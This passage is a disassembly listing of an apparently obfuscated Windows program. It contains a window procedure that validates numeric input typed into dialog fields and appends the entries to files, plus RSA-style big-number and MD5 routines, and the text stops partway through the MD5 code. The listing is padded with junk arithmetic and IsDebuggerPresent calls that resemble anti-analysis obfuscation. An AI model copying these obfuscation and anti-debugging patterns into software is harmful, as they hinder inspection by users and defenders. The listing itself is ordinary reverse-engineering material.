var_101 = byte ptr -101h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 27Ch
push ebx
push esi
push edi
call sub_40C538 ; RtlGetLastWin32Error
mov eax, [ebp+arg_4]
cmp eax, 10h
jz loc_40B36D
jg short loc_40B170
cmp eax, 2
jz loc_40B353
jmp loc_40B9CF
; ---------------------------------------------------------------------------
loc_40B170: ; CODE XREF: sub_40B143+1Dj
cmp eax, 111h
jz loc_40B47A
cmp eax, 113h
jz short loc_40B1B1
cmp eax, 111h
jl loc_40B9CF
cmp eax, 138h
jz loc_40B392
jmp loc_40B9CF
; ---------------------------------------------------------------------------
lea edi, [ebp+var_132]
lea esi, a9O1 ; " 9'O1"
mov ecx, 3
rep movsw
loc_40B1B1: ; CODE XREF: sub_40B143+3Dj
lea edi, [ebp+var_133]
lea esi, byte_445BEA
xor ecx, ecx
inc ecx
rep movsb
cmp dword_43B218, 0
jz loc_40B2FA
mov byte ptr [ebp+var_250+3], 0A1h
movzx eax, byte ptr [ebp+var_250+3]
imul eax, 1F49h
mov byte ptr [ebp+var_250+3], al
push 9
push offset aST ; "éĀĪāĻĒČĪŁ"
call sub_40129C
push eax
push dword_43B218
call sub_408DEF
mov [ebp+var_254], eax
push 8
push offset aS ; "čÕŻĮĀßČß"
call sub_40129C
push eax
push [ebp+var_254]
call sub_408DEF
add esp, 20h
mov [ebp+var_258], eax
call sub_40C514 ; GetCurrentThreadId
lea eax, [ebp+var_268]
push eax
push [ebp+var_258]
call sub_40C778 ; GetWindowRect
or eax, eax
jz loc_40B2FA
lea eax, [ebp+var_278]
push eax
push ds:dword_41EB84
call sub_40C778 ; GetWindowRect
or eax, eax
jz loc_40B2FA
mov byte ptr [ebp+var_250+2], 38h
add byte ptr [ebp+var_250+2], 25h
mov eax, [ebp+var_260]
sub eax, [ebp+var_268]
sub eax, 4
mov edx, [ebp+var_270]
sub edx, [ebp+var_278]
cmp eax, edx
jnz short loc_40B2AD
mov eax, [ebp+var_25C]
sub eax, [ebp+var_264]
sub eax, 4
mov edx, [ebp+var_26C]
sub edx, [ebp+var_274]
cmp eax, edx
jz short loc_40B2FA
loc_40B2AD: ; CODE XREF: sub_40B143+149j
call sub_40C514 ; GetCurrentThreadId
push 1
mov eax, [ebp+var_25C]
sub eax, [ebp+var_264]
push eax
mov eax, [ebp+var_260]
sub eax, [ebp+var_268]
push eax
push 0
push 0
push ds:dword_41EB84
call sub_40C8A4 ; MoveWindow
mov [ebp+var_27A], 2EFFh
movzx eax, [ebp+var_27A]
imul eax, 4AB4h
mov [ebp+var_27A], ax
loc_40B2FA: ; CODE XREF: sub_40B143+86j
; sub_40B143+FEj ...
cmp dword_43B214, 0
jz loc_40BA03
lea edi, [ebp+var_254+1]
lea esi, aEv ; "ev# "
mov ecx, 5
rep movsb
mov eax, dword_43B214
mov dword_43B218, eax
call sub_40C598 ; GetTickCount
and dword_43B214, 0
push dword_43B218
call sub_408E89
pop ecx
mov word ptr [ebp+var_250+2], 4C5Ah
add word ptr [ebp+var_250+2], 7318h
jmp loc_40BA03
; ---------------------------------------------------------------------------
loc_40B353: ; CODE XREF: sub_40B143+22j
mov eax, ds:dword_41B89C
cmp [ebp+arg_0], eax
jnz loc_40BA03
push 0
call sub_40C874 ; PostQuitMessage
jmp loc_40BA03
; ---------------------------------------------------------------------------
loc_40B36D: ; CODE XREF: sub_40B143+17j
mov eax, ds:dword_41B89C
cmp [ebp+arg_0], eax
jnz short loc_40B37F
push [ebp+arg_0]
call sub_40C898 ; DestroyWindow
loc_40B37F: ; CODE XREF: sub_40B143+232j
mov [ebp+var_10D], 7Dh
add [ebp+var_10D], 1
jmp loc_40BA03
; ---------------------------------------------------------------------------
loc_40B392: ; CODE XREF: sub_40B143+4Fj
mov eax, [ebp+arg_C]
mov [ebp+var_12C], eax
mov ax, word_445BF0
mov [ebp+var_135], ax
mov eax, [ebp+var_12C]
cmp eax, ds:dword_431CFC
jz short loc_40B3E2
cmp eax, ds:dword_413F70
jz short loc_40B3E2
cmp eax, ds:dword_41A864
jz short loc_40B3E2
cmp eax, ds:dword_433FE4
jz short loc_40B3E2
cmp eax, ds:dword_431D00
jz short loc_40B3E2
cmp eax, ds:dword_439328
jnz loc_40BA03
loc_40B3E2: ; CODE XREF: sub_40B143+271j
; sub_40B143+279j ...
call sub_40C5A4 ; GetVersion
mov eax, [ebp+var_12C]
cmp eax, ds:dword_431D00
jz short loc_40B3FD
cmp eax, ds:dword_439328
jnz short loc_40B40C
loc_40B3FD: ; CODE XREF: sub_40B143+2B0j
push 1010B0h
push [ebp+arg_8]
call sub_40C8E0 ; SetTextColor
jmp short loc_40B416
; ---------------------------------------------------------------------------
loc_40B40C: ; CODE XREF: sub_40B143+2B8j
push 0
push [ebp+arg_8]
call sub_40C8E0 ; SetTextColor
loc_40B416: ; CODE XREF: sub_40B143+2C7j
push 0FFFFFFh
push [ebp+arg_8]
call sub_40C8D4 ; SetBkColor
call sub_40C5A4 ; GetVersion
and [ebp+var_260], 0
and [ebp+var_25C], 0
lea eax, [ebp+var_260]
push eax
call sub_40C8EC ; CreateBrushIndirect
mov [ebp+var_254], eax
mov word ptr [ebp+var_250+2], 72AAh
movzx eax, word ptr [ebp+var_250+2]
mov edx, eax
add edx, eax
mov eax, edx
mov word ptr [ebp+var_250+2], ax
mov eax, [ebp+var_254]
jmp loc_40BA03
; ---------------------------------------------------------------------------
call sub_40C538 ; RtlGetLastWin32Error
jmp loc_40BA03
; ---------------------------------------------------------------------------
loc_40B47A: ; CODE XREF: sub_40B143+32j
lea edi, [ebp+var_13D]
lea esi, aV880k ; "8+8 0k"
movsd
movsd
push 2
push offset aI ; "Ž"
call sub_40129C
push offset byte_432F00
push eax
lea edi, [ebp+var_248]
push edi
call sub_40CA30
add esp, 14h
push 0FFh
lea eax, [ebp+var_FF]
push eax
push ds:dword_431D04
call sub_40C76C ; GetWindowTextA
lea edi, [ebp+var_142]
lea esi, aA?5m ; "A?5m"
mov ecx, 5
rep movsb
cmp [ebp+var_FF], 0
jnz short loc_40B511
call sub_40C538 ; RtlGetLastWin32Error
push 1Fh
push offset word_445C82
call sub_40129C
add esp, 8
push 0
push 0
push eax
push 0
call sub_40C7F0 ; MessageBoxA
push ds:dword_431D04
call sub_40C7A8 ; SetFocus
call sub_40C508 ; GetCurrentProcessId
jmp loc_40BA03
; ---------------------------------------------------------------------------
loc_40B511: ; CODE XREF: sub_40B143+397j
push 5
push offset aINi ; "ŽŽ"
call sub_40129C
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_248]
push edi
push eax
lea edi, [ebp+var_248]
push edi
call sub_40CA30
add esp, 18h
push 0FFh
lea eax, [ebp+var_FF]
push eax
push ds:dword_41DA7C
call sub_40C76C ; GetWindowTextA
mov [ebp+var_114], 2AEEh
inc [ebp+var_114]
cmp [ebp+var_FF], 0
jnz short loc_40B5C8
call sub_40C508 ; GetCurrentProcessId
push 1Eh
push offset byte_445C5D
call sub_40129C
add esp, 8
push 0
push 0
push eax
push 0
call sub_40C7F0 ; MessageBoxA
mov word ptr [ebp+var_250+2], 5B80h
movzx eax, word ptr [ebp+var_250+2]
mov edx, eax
add edx, eax
mov eax, edx
mov word ptr [ebp+var_250+2], ax
push ds:dword_41DA7C
call sub_40C7A8 ; SetFocus
mov [ebp+var_254], 12FAh
inc [ebp+var_254]
jmp loc_40BA03
; ---------------------------------------------------------------------------
loc_40B5C8: ; CODE XREF: sub_40B143+426j
push 5
push offset aIAi ; "ŽŽ"
call sub_40129C
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_248]
push edi
push eax
lea edi, [ebp+var_248]
push edi
call sub_40CA30
add esp, 18h
call sub_40C574 ; GetProcessHeap
push 0FFh
lea eax, [ebp+var_FF]
push eax
push ds:dword_41DA74
call sub_40C76C ; GetWindowTextA
call sub_40C538 ; RtlGetLastWin32Error
cmp [ebp+var_FF], 0
jz loc_40B758
call sub_40C508 ; GetCurrentProcessId
lea ecx, [ebp+var_FF]
or eax, 0FFFFFFFFh
loc_40B62E: ; CODE XREF: sub_40B143+4F0j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B62E
cmp eax, 4
jb loc_40B758
call sub_40C508 ; GetCurrentProcessId
mov [ebp+var_101], 0
jmp short loc_40B66E
; ---------------------------------------------------------------------------
loc_40B64C: ; CODE XREF: sub_40B143+544j
movzx eax, [ebp+var_101]
mov al, [ebp+eax+var_FF]
cmp al, 30h
jl short loc_40B662
cmp al, 39h
jle short loc_40B667
loc_40B662: ; CODE XREF: sub_40B143+519j
jmp loc_40B758
; ---------------------------------------------------------------------------
loc_40B667: ; CODE XREF: sub_40B143+51Dj
add [ebp+var_101], 1
loc_40B66E: ; CODE XREF: sub_40B143+507j
lea ecx, [ebp+var_FF]
or eax, 0FFFFFFFFh
loc_40B677: ; CODE XREF: sub_40B143+539j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B677
movzx esi, [ebp+var_101]
cmp esi, eax
jb short loc_40B64C
mov [ebp+var_108], 6B03h
mov eax, [ebp+var_108]
mov edx, eax
add edx, eax
mov [ebp+var_108], edx
mov [ebp+var_100], 0
jmp loc_40B737
; ---------------------------------------------------------------------------
loc_40B6AF: ; CODE XREF: sub_40B143+60Dj
mov word ptr [ebp+var_250], 0DE0h
inc word ptr [ebp+var_250]
call sub_40C634 ; IsDebuggerPresent
mov al, [ebp+var_100]
mov byte ptr [ebp+var_250+3], al
jmp short loc_40B6FB
; ---------------------------------------------------------------------------
loc_40B6D2: ; CODE XREF: sub_40B143+5D1j
movzx eax, byte ptr [ebp+var_250+3]
movsx eax, [ebp+eax+var_FF]
movzx edx, [ebp+var_100]
movsx edx, [ebp+edx+var_FF]
cmp eax, edx
jnz short loc_40B716
add byte ptr [ebp+var_250+3], 1
loc_40B6FB: ; CODE XREF: sub_40B143+58Dj
lea ecx, [ebp+var_FF]
or eax, 0FFFFFFFFh
loc_40B704: ; CODE XREF: sub_40B143+5C6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B704
movzx esi, byte ptr [ebp+var_250+3]
cmp esi, eax
jb short loc_40B6D2
loc_40B716: ; CODE XREF: sub_40B143+5AFj
call sub_40C508 ; GetCurrentProcessId
movzx eax, byte ptr [ebp+var_250+3]
movzx edx, [ebp+var_100]
sub eax, edx
cmp eax, 3
jg short loc_40B758
add [ebp+var_100], 1
loc_40B737: ; CODE XREF: sub_40B143+567j
lea ecx, [ebp+var_FF]
or eax, 0FFFFFFFFh
loc_40B740: ; CODE XREF: sub_40B143+602j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B740
movzx esi, [ebp+var_100]
cmp esi, eax
jb loc_40B6AF
jmp short loc_40B7BC
; ---------------------------------------------------------------------------
loc_40B758: ; CODE XREF: sub_40B143+4D7j
; sub_40B143+4F5j ...
mov eax, dword_43B098
add eax, 7C4h
push eax
call sub_40C9B8
push 35h
push offset byte_445C21
call sub_40129C
mov [ebp+var_250], eax
push 13h
push offset byte_445C0D
call sub_40129C
add esp, 14h
push 0
push eax
mov edi, [ebp+var_250]
push edi
push 0
call sub_40C7F0 ; MessageBoxA
call sub_40C598 ; GetTickCount
push ds:dword_41DA74
call sub_40C7A8 ; SetFocus
mov ax, word_445BFF
mov [ebp+var_144], ax
jmp loc_40BA03
; ---------------------------------------------------------------------------
loc_40B7BC: ; CODE XREF: sub_40B143+613j
push 5
push offset aINi ; "ŽŽ"
call sub_40129C
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_248]
push edi
push eax
lea edi, [ebp+var_248]
push edi
call sub_40CA30
add esp, 18h
mov [ebp+var_115], 1Ch
sub [ebp+var_115], 1Fh
push 0
push 0
push 4
push 0
push 0
push 40000000h
push offset dword_41EA80
call sub_40C67C ; CreateFileA
mov [ebp+var_128], eax
push 2
push 0
push 0
push eax
call sub_40C6AC ; SetFilePointer
lea ecx, [ebp+var_248]
or eax, 0FFFFFFFFh
loc_40B828: ; CODE XREF: sub_40B143+6EAj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B828
push 0
lea esi, [ebp+var_24C]
push esi
push eax
lea edi, [ebp+var_248]
push edi
push [ebp+var_128]
call sub_40C730 ; WriteFile
push 2
push offset aAz ; " §"
call sub_40129C
add esp, 8
push 0
lea edi, [ebp+var_24C]
push edi
mov edi, 0Eh
sub edi, dword_43B098
push edi
push eax
push [ebp+var_128]
call sub_40C730 ; WriteFile
mov [ebp+var_10C], 57C0h
mov eax, [ebp+var_10C]
mov edx, eax
add edx, eax
mov [ebp+var_10C], edx
push [ebp+var_128]
call sub_40C55C ; CloseHandle
mov [ebp+var_118], 2DFCh
sub [ebp+var_118], 4065h
push ds:dword_41EB84
call sub_40C898 ; DestroyWindow
lea edi, [ebp+var_149]
lea esi, aShzq ; "ShzQ"
mov ecx, 5
rep movsb
push 0
push 0
push 4
push 0
push 0
push 40000000h
push offset dword_40F280
call sub_40C67C ; CreateFileA
mov [ebp+var_128], eax
call sub_40C5A4 ; GetVersion
push 2
push 0
push 0
push [ebp+var_128]
call sub_40C6AC ; SetFilePointer
mov [ebp+var_11A], 34D4h
sub [ebp+var_11A], 5BB2h
lea ecx, byte_432F00
or eax, 0FFFFFFFFh
loc_40B920: ; CODE XREF: sub_40B143+7E2j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_40B920
mov edi, eax
push 0
lea esi, [ebp+var_24C]
push esi
push edi
push offset byte_432F00
push [ebp+var_128]
call sub_40C730 ; WriteFile
mov [ebp+var_11B], 99h
add [ebp+var_11B], 1
push 1
push offset aN_1 ; ""
call sub_40129C
add esp, 8
push 0
lea edi, [ebp+var_24C]
push edi
mov edi, 3
sub edi, dword_43B094
push edi
push eax
push [ebp+var_128]
call sub_40C730 ; WriteFile
call sub_40C634 ; IsDebuggerPresent
push [ebp+var_128]
call sub_40C55C ; CloseHandle
mov [ebp+var_11E], 7327h
movzx eax, [ebp+var_11E]
imul eax, 3B23h
mov [ebp+var_11E], ax
push 5
push ds:dword_41C950
call sub_40C880 ; ShowWindow
mov [ebp+var_120], 519Ah
sub [ebp+var_120], 4248h
jmp short loc_40BA03
; ---------------------------------------------------------------------------
loc_40B9CF: ; CODE XREF: sub_40B143+28j
; sub_40B143+44j ...
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C8B0 ; DefWindowProcA
jmp short loc_40BA03
; ---------------------------------------------------------------------------
mov [ebp+var_124], 2003h
mov eax, 20Bh
mul [ebp+var_124]
mov [ebp+var_254], eax
mov [ebp+var_124], eax
loc_40BA03: ; CODE XREF: sub_40B143+1BEj
; sub_40B143+20Bj ...
pop edi
pop esi
pop ebx
leave
retn 10h
sub_40B143 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40BA0C proc near ; CODE XREF: sub_406E2B+1Ap
; sub_406E2B+35p
jmp ds:dword_447340
sub_40BA0C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40BA18 proc near ; CODE XREF: sub_4053A1+C4p
jmp ds:dword_44734C
sub_40BA18 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40BA24 proc near ; CODE XREF: sub_4053A1+131p
jmp ds:dword_447350
sub_40BA24 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40BA30 proc near ; CODE XREF: sub_4069E2+5Fp
jmp ds:dword_44735C
sub_40BA30 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40BA3C proc near ; CODE XREF: sub_4069E2+35p
jmp ds:dword_447360
sub_40BA3C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40BA48 proc near ; CODE XREF: sub_4069E2+22p
jmp ds:dword_447364
sub_40BA48 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40BA54 proc near ; CODE XREF: sub_406987+4Cp
jmp ds:dword_447368
sub_40BA54 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BA60 proc near ; CODE XREF: sub_4088A5+1Dp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
pusha
cld
mov edi, [ebp+arg_4]
mov eax, 1
stosd
mov ecx, 0Fh
dec eax
rep stosd
lea edi, dword_446C54
mov esi, [ebp+arg_0]
mov ecx, 10h
rep movsd
mov edi, [ebp+arg_8]
call sub_40BB2B
xor edx, edx
loc_40BA90: ; CODE XREF: sub_40BA60+52j
push edx
push ebx
mov eax, [ebp+arg_8]
bt [eax], edx
jnb short loc_40BAA2
mov edx, [ebp+arg_4]
call sub_40BABC
loc_40BAA2: ; CODE XREF: sub_40BA60+38j
lea edx, dword_446C54
call sub_40BABC
pop ebx
pop edx
inc edx
cmp edx, ebx
jbe short loc_40BA90
popa
pop ebp
retn 10h
sub_40BA60 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40BABC proc near ; CODE XREF: sub_40BA60+3Dp
; sub_40BA60+48p
lea edi, dword_446C14
mov ecx, 10h
xor eax, eax
rep stosd
lea edi, dword_446C54
call sub_40BB2B
loc_40BAD6: ; CODE XREF: sub_40BABC+5Dj
lea edi, dword_446C14
mov ecx, 10h
xor eax, eax
loc_40BAE3: ; CODE XREF: sub_40BABC+2Cj
rcl dword ptr [edi], 1
lea edi, [edi+4]
loop loc_40BAE3
call sub_40BB3C
bt dword_446C54, ebx
jnb short loc_40BB18
mov esi, edx
lea edi, dword_446C14
xor eax, eax
mov ecx, 10h
loc_40BB07: ; CODE XREF: sub_40BABC+55j
mov eax, [esi]
adc [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_40BB07
call sub_40BB3C
loc_40BB18: ; CODE XREF: sub_40BABC+3Aj
dec ebx
jns short loc_40BAD6
mov edi, edx
lea esi, dword_446C14
mov ecx, 10h
rep movsd
retn
sub_40BABC endp
; =============== S U B R O U T I N E =======================================
sub_40BB2B proc near ; CODE XREF: sub_40BA60+29p
; sub_40BABC+15p
mov ebx, 1FFh
loc_40BB30: ; CODE XREF: sub_40BB2B+Bj
bt [edi], ebx
jb short locret_40BB38
dec ebx
jnz short loc_40BB30
locret_40BB38: ; CODE XREF: sub_40BB2B+8j
retn
sub_40BB2B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40BB3C proc near ; CODE XREF: sub_40BABC+2Ep
; sub_40BABC+57p
lea esi, dword_446C14
mov edi, [ebp+14h]
mov ecx, 0Fh
loc_40BB4A: ; CODE XREF: sub_40BB3C+19j
mov eax, [esi+ecx*4]
cmp eax, [edi+ecx*4]
jb short locret_40BB73
ja short loc_40BB57
dec ecx
jns short loc_40BB4A
loc_40BB57: ; CODE XREF: sub_40BB3C+16j
mov esi, [ebp+14h]
lea edi, dword_446C14
xor eax, eax
mov ecx, 10h
loc_40BB67: ; CODE XREF: sub_40BB3C+35j
mov eax, [esi]
sbb [edi], eax
lea esi, [esi+4]
lea edi, [edi+4]
loop loc_40BB67
locret_40BB73: ; CODE XREF: sub_40BB3C+14j
retn
sub_40BB3C endp
; =============== S U B R O U T I N E =======================================
sub_40BB74 proc near ; CODE XREF: sub_40BBC5+32p
; sub_40BBC5+50p ...
mov eax, ebx
and eax, ecx
push ebx
not ebx
and ebx, edx
or eax, ebx
pop ebx
retn
sub_40BB74 endp
; =============== S U B R O U T I N E =======================================
sub_40BB81 proc near ; CODE XREF: sub_40BBC5+219p
; sub_40BBC5+238p ...
mov eax, ebx
and eax, edx
push edx
not edx
and edx, ecx
or eax, edx
pop edx
retn
sub_40BB81 endp
; =============== S U B R O U T I N E =======================================
sub_40BB8E proc near ; CODE XREF: sub_40BBC5+420p
; sub_40BBC5+43Fp ...
mov eax, ebx
xor eax, ecx
xor eax, edx
retn
sub_40BB8E endp
; =============== S U B R O U T I N E =======================================
sub_40BB95 proc near ; CODE XREF: sub_40BBC5+627p
; sub_40BBC5+645p ...
mov eax, edx
not eax
or eax, ebx
xor eax, ecx
retn
sub_40BB95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BB9E proc near ; CODE XREF: sub_4088D5+94p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov dword ptr [edi], 67452301h
mov dword ptr [edi+4], 0EFCDAB89h
mov dword ptr [edi+8], 98BADCFEh
mov dword ptr [edi+0Ch], 10325476h
popa
pop ebp
retn 4
sub_40BB9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40BBC5 proc near ; CODE XREF: sub_4088D5+B1p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
pusha
mov edi, [ebp+arg_0]
mov esi, [ebp+arg_4]
mov eax, [edi]
mov dword_446C94, eax
mov eax, [edi+4]
mov dword_446C98, eax
mov eax, [edi+8]
mov dword_446C9C, eax
mov eax, [edi+0Ch]
mov dword_446CA0, eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BB74
add eax, [edi]
add eax, [esi]
add eax, 0D76AA478h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BB74
add eax, [edi+0Ch]
add eax, [esi+4]
add eax, 0E8C7B756h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BB74
add eax, [edi+8]
add eax, [esi+8]
add eax, 242070DBh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BB74
add eax, [edi+4]
add eax, [esi+0Ch]
add eax, 0C1BDCEEEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BB74
add eax, [edi]
add eax, [esi+10h]
add eax, 0F57C0FAFh
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BB74
add eax, [edi+8]
add eax, [esi+18h]
add eax, 0A8304613h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BB74
add eax, [edi+4]
add eax, [esi+1Ch]
add eax, 0FD469501h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BB74
add eax, [edi]
add eax, [esi+20h]
add eax, 698098D8h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BB74
add eax, [edi+0Ch]
add eax, [esi+24h]
add eax, 8B44F7AFh
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BB74
add eax, [edi+8]
add eax, [esi+28h]
add eax, 0FFFF5BB1h
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BB74
add eax, [edi+4]
add eax, [esi+2Ch]
add eax, 895CD7BEh
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BB74
add eax, [edi]
add eax, [esi+30h]
add eax, 6B901122h
rol eax, 7
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BB74
add eax, [edi+0Ch]
add eax, [esi+34h]
add eax, 0FD987193h
rol eax, 0Ch
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BB74
add eax, [edi+8]
add eax, [esi+38h]
add eax, 0A679438Eh
rol eax, 11h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BB74
add eax, [edi+4]
add eax, [esi+3Ch]
add eax, 49B40821h
rol eax, 16h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BB81
add eax, [edi]
add eax, [esi+4]
add eax, 0F61E2562h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BB81
add eax, [edi+0Ch]
add eax, [esi+18h]
add eax, 0C040B340h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BB81
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 265E5A51h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BB81
add eax, [edi+4]
add eax, [esi]
add eax, 0E9B6C7AAh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BB81
add eax, [edi]
add eax, [esi+14h]
add eax, 0D62F105Dh
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BB81
add eax, [edi+0Ch]
add eax, [esi+28h]
add eax, 2441453h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BB81
add eax, [edi+8]
add eax, [esi+3Ch]
add eax, 0D8A1E681h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BB81
add eax, [edi+4]
add eax, [esi+10h]
add eax, 0E7D3FBC8h
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BB81
add eax, [edi]
add eax, [esi+24h]
add eax, 21E1CDE6h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BB81
add eax, [edi+0Ch]
add eax, [esi+38h]
add eax, 0C33707D6h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BB81
add eax, [edi+8]
add eax, [esi+0Ch]
add eax, 0F4D50D87h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BB81
add eax, [edi+4]
add eax, [esi+20h]
add eax, 455A14EDh
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BB81
add eax, [edi]
add eax, [esi+34h]
add eax, 0A9E3E905h
rol eax, 5
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BB81
add eax, [edi+0Ch]
add eax, [esi+8]
add eax, 0FCEFA3F8h
rol eax, 9
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BB81
add eax, [edi+8]
add eax, [esi+1Ch]
add eax, 676F02D9h
rol eax, 0Eh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BB81
add eax, [edi+4]
add eax, [esi+30h]
add eax, 8D2A4C8Ah
rol eax, 14h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BB8E
add eax, [edi]
add eax, [esi+14h]
add eax, 0FFFA3942h
rol eax, 4
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BB8E
add eax, [edi+0Ch]
add eax, [esi+20h]
add eax, 8771F681h
rol eax, 0Bh
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BB8E
add eax, [edi+8]
add eax, [esi+2Ch]
add eax, 6D9D6122h
rol eax, 10h
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BB8E
add eax, [edi+4]
add eax, [esi+38h]
add eax, 0FDE5380Ch
rol eax, 17h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
